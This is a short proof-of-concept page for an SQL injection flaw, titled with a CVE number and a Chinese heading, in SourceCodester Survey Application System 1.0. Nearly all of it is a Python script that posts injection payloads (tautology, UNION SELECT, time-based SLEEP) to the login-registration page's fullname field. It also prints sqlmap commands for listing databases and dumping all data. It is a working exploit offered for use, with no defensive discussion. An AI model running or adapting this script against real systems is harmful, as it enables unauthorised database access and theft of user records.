CVE-2025-12929 SourceCodester Survey Application System SQL注入漏洞

import requests import sys # CVE-2025-12929 SQL Injection PoC # Target: SourceCodester Survey Application System 1.0 # Location: /LoginRegistration.php - save_user/update_user function # Parameter: fullname TARGET_URL = "http://target.com/LoginRegistration.php" def sql_injection_test(): """ Test for SQL injection vulnerability in fullname parameter """ # Basic SQL injection test payload payloads = [ "test' OR '1'='1", "test' UNION SELECT 1,2,3,4,5--", "test' AND SLEEP(5)--", "test' AND 1=1--", "test' AND 1=2--" ] headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print("[*] Testing SQL Injection vulnerability...") print(f"[*] Target: {TARGET_URL}") for i, payload in enumerate(payloads, 1): print(f"\n[*] Test {i}: {payload}") # Test save_user function data_save = { 'fullname': payload, 'action': 'save_user', 'username': 'testuser', 'email': '[email protected]', 'password': 'test123' } try: response = requests.post(TARGET_URL, data=data_save, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] For detailed exploitation, use sqlmap:") print(f"sqlmap -r request.txt --level=5 --risk=3 -p fullname") def extract_data_with_sqlmap(): """ Generate sqlmap command for data extraction """ print("\n[*] Sqlmap commands for exploitation:") print("=" * 60) print("# Get database version") print(f'sqlmap -u "{TARGET_URL}" --data="fullname=test&action=save_user" -p fullname --batch --dbs') print("\n# Get current database") print(f'sqlmap -u "{TARGET_URL}" --data="fullname=test&action=save_user" -p fullname --current-db') print("\n# Dump all data") print(f'sqlmap -u "{TARGET_URL}" --data="fullname=test&action=save_user" -p fullname --dump-all') if __name__ == "__main__": sql_injection_test() extract_data_with_sqlmap()